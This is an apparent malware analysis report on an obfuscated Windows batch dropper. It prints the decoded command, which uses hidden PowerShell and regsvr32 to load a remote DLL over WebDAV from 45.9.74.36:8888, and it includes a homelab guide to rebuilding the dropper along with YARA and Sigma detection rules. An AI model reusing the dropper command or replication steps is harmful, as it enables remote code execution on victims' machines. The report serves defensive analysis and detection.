unclassified-js-webdav-dropper: b2a097ba — Twenty-seventh sibling, natural-language SET obfuscation, 45.9.74.36:8888

Executive Summary

A 14.5 KB Windows batch script (20763209561447914653.bat) using natural-language SET variable expansion obfuscation to hide a WebDAV-based DLL load. Twenty-seventh confirmed sibling of the unclassified-js-webdav-dropper family, sharing the 45.9.74.36:8888 infrastructure and regsvr32 /s execution chain with siblings ffd5d894, e9e82d14, f170f5a9, e11665cf, and dac5e0ee. Static-only — CAPE skipped as unsupported file type.

What It Is

• File: 20763209561447914653.bat (14,527 bytes) ^[file.txt]
• Type: ASCII text, Windows CRLF batch script, 201 lines ^[file.txt] ^[exiftool.json]
• SHA-256: b2a097baad7ae4e557b47de679dc1d8f512932a0a38d2b52a3439a15ccf0c9f8
• ssdeep: 384:rCJ/MtIqAxkL6htWirCeZoz78SZFYwygxPViW:S/MgxkstWirCeZo1ZFb4W ^[ssdeep.txt]
• Family: unclassified-js-webdav-dropper — natural-language SET variant, pure batch ^[triage.json]
• CAPE: Skipped — ASCII text is not a supported binary class ^[dynamic-analysis.md]

How It Works

Layer 1 — Noise padding (lines 1–11)

Lines 1–11 are dead English words and phrases (needy noxious year mindless impulse want volleyball sudden oatmeal spooky tense, etc.). A goto shave at line 1 skips them entirely. The noise pad is shorter than siblings ffd5d894 (126 lines) and e9e82d14 (147 lines), reflecting the smaller overall file size (14.5 KB vs 20–21 KB). ^[strings.txt:1-11]

Layer 2 — SET variable expansion (line 12)

Thirty-six SET assignments chained with && on a single line. Variable names are long natural-language phrases; values are single characters: ^[strings.txt:12]

set hotskillfulpour=a&&set whisperingsecondrake=x&&set worthlessbottledust=3&&...

Selected bindings:

Layer 3 — Payload reassembly (lines 13–15)

Three %VARNAME% expansion lines decode to:

color f0&&start wordpad
start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\3099531828214.dll
exit

Line 14 is a single 1,100+ character concatenation of 30 variable references. ^[strings.txt:13-15]

Command breakdown

Decompiled Behavior

Not applicable — batch script, not a PE. Ghidra, radare2, and capa do not support script-file analysis. All behaviour recovered via manual SET variable decoding. ^[file.txt] ^[capa.txt]

C2 Infrastructure

Same C2 IP and port as siblings ffd5d894, e9e82d14, f170f5a9, e11665cf, and dac5e0ee. The payload filename (3099531828214.dll) is numeric and distinct from prior siblings (24013635923706.dll, 231502634512294.dll, 223191424010705.dll, 22643293059111.dll, 33081201929468.dll), confirming per-campaign or per-victim rotation. ^[entities/unclassified-js-webdav-dropper.md]

Interesting Tidbits

• Shortest noise pad observed in family. At 11 lines, the dead-text prefix is the briefest among the natural-language SET batch variants (ffd5d894: 126 lines, e9e82d14: 147 lines, f170f5a9: 163 lines, e11665cf: 146 lines, dac5e0ee: 143 lines). The operator may be optimising for file size or delivery channel constraints. ^[strings.txt:1-11]
• Same C2, rotated payload name. 45.9.74.36:8888 has now served six distinct DLL names across seven confirmed siblings. This is consistent throwaway staging behaviour, not per-victim custom compilation. ^[entities/unclassified-js-webdav-dropper.md]
• Natural-language variable names as family dialect. The SET names (hotskillfulpour, whisperingsecondrake, worthlessbottledust) are 2–3 concatenated English words, consistent with the dialect observed in ffd5d894, e9e82d14, f170f5a9, e11665cf, and dac5e0ee. This distinguishes the batch cluster from the shared-prefix SET variants (ygfrlo, hbutc, nmnmd, labzf, wdopm, nxbas, mnihx) and the JScript dictionary-lookup variants. ^[strings.txt:12]
• No polyglot layer. Pure batch; no JScript self-replication, no WScript.Shell.Run, no Function() constructor. Leaves fewer host artefacts than the JS siblings. ^[file.txt]
• PowerShell wrapper for net use. The use of powershell.exe -windowstyle hidden as a wrapper for net use adds a process hop that may evade simpler EDR rules looking for cmd.exe → net.exe directly. The PowerShell process does not execute PowerShell script — it is merely a hidden shell host. ^[strings.txt:14]
• No persistence. No registry Run key, no scheduled task, no startup folder drop. One-shot execution. The payload DLL is loaded in-process by regsvr32; no second-stage binary is written to disk. ^[strings.txt]
• No anti-analysis. No debugger checks, no VM detection, no sandbox gating, no connectivity tests. The script executes unconditionally. ^[strings.txt]
• SSDeep stability. The 384: block-size prefix and the S/Mgxk... fuzzy hash body are consistent with the 14 KB file size and the shared batch execution skeleton. Noise-pad content differences drive hash drift between siblings.

How To Mess With It (Homelab Replication)

Goal: Build a batch-only WebDAV dropper using SET variable expansion with natural-language names, and verify EDR detection gaps.

1. Write the batch file:

   @echo off
   goto shave
   scratch move
   needy noxious year mindless impulse want volleyball sudden oatmeal spooky tense
   :shave
   set hotskillfulpour=a&&set whisperingsecondrake=x&&...
   %gripajarcommand%%airportteethinstrument%%sackblushingserious%%airportteethinstrument%%trickygovernmentfuture% %lineencouragingcoast%%desirepinhead%&&...
   

2. Set up a WebDAV server on a lab Linux box:

   pip install wsgidav cheroot
   wsgidav --host=0.0.0.0 --port=8888 --root=/tmp/webdav --auth=anonymous
   

3. Place a benign test DLL at /tmp/webdav/3099531828214.dll.
4. Run on a Windows VM by double-clicking the .bat file.
5. Verify with Process Monitor: cmd.exe → wordpad.exe + powershell.exe → net.exe → regsvr32.exe loading DLL from UNC.
6. Test EDR detection: Does your EDR flag regsvr32.exe with a UNC path? Most do not by default.

Deployable Signatures

YARA Rule

rule UnclassifiedJSWebDAVDropper_NaturalLangSET_b2a097ba {
    meta:
        description = "Batch WebDAV dropper with natural-language SET variable obfuscation (b2a097ba sibling)"
        author = "PacketPursuit"
        date = "2026-06-29"
        reference = "raw/analyses/b2a097baad7ae4e557b47de679dc1d8f512932a0a38d2b52a3439a15ccf0c9f8"
    strings:
        $set1 = "set hotskillfulpour=a" ascii
        $set2 = "set whisperingsecondrake=x" ascii
        $set3 = "set worthlessbottledust=3" ascii
        $set4 = "set broadmusclehover=8" ascii
        $webdav = "davwwwroot" ascii nocase
        $regsvr32 = "regsvr32 /s" ascii nocase
        $wordpad = "start wordpad" ascii nocase
    condition:
        2 of ($set*) and $webdav and $regsvr32 and $wordpad
}

Behavioral Hunt Query (Sigma)

title: WebDAV DLL Load via Batch Script with WordPad Decoy
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'regsvr32 /s \\'
            - 'davwwwroot'
        ParentImage|endswith:
            - '\\cmd.exe'
    decoy:
        CommandLine|contains: 'wordpad'
    condition: selection and decoy
falsepositives:
    - Legitimate IT automation using regsvr32 with UNC paths (rare)
level: high

IOC List

Behavioral Fingerprint

This binary is a Windows batch script that opens WordPad as a decoy, then spawns a hidden PowerShell process to mount an attacker-controlled WebDAV share (\\45.9.74.36@8888\DavWWWRoot\) and silently register a remote DLL (3099531828214.dll) via regsvr32 /s. No persistence mechanism is present; the script exits immediately after staging. The payload is delivered over plaintext HTTP via the Windows built-in WebDAV client, and no disk write of the DLL occurs — it is loaded directly from the UNC path into the regsvr32.exe process.

Detection Signatures

Not applicable — capa does not support batch-script analysis. ^[capa.txt]

References

• unclassified-js-webdav-dropper — Family entity page with 26 prior siblings
• webdav-regsvr32-dll-sideloading — Technique page for the WebDAV + regsvr32 execution chain
• batch-powershell-variable-expansion-obfuscation — Technique page for the SET fragmentation pattern
• Sibling analyses: ffd5d894 ^[/intel/analyses/ffd5d894f5e350baace2342fc3c2c7de63a82138469db1694c35c732cf0c9df4.html], e9e82d14 ^[/intel/analyses/e9e82d14538b830fe0b04aeaa4f1c07eed6fb38187d915bb18112b18fc98c1fe.html], f170f5a9 ^[/intel/analyses/f170f5a93ff750cf93f0b22bcb0b67ef69da616cce709e84d05aea7cea562edd.html], e11665cf ^[/intel/analyses/e11665cfc0365e13977a75fe8be7cbc00362cd15f1eef8351db0357e8e16a40a.html], dac5e0ee ^[/intel/analyses/dac5e0eedc6f6444f37857191ec366782752ea4af9e6a6c0addb0b08d408b76b.html]

Provenance

• file.txt — file(1) output (ASCII text, CRLF)
• exiftool.json — ExifTool metadata (15 kB, 201 lines, Windows newlines)
• strings.txt — raw strings / manual SET decoding
• ssdeep.txt — ssdeep fuzzy hash
• triage.json — triage metadata (no family attribution)
• dynamic-analysis.md — CAPE skipped (non-PE)
• capa.txt — capa unsupported file type error
• Decoded manually via Python regex substitution of %VARNAME% tokens against the SET mapping on line 12.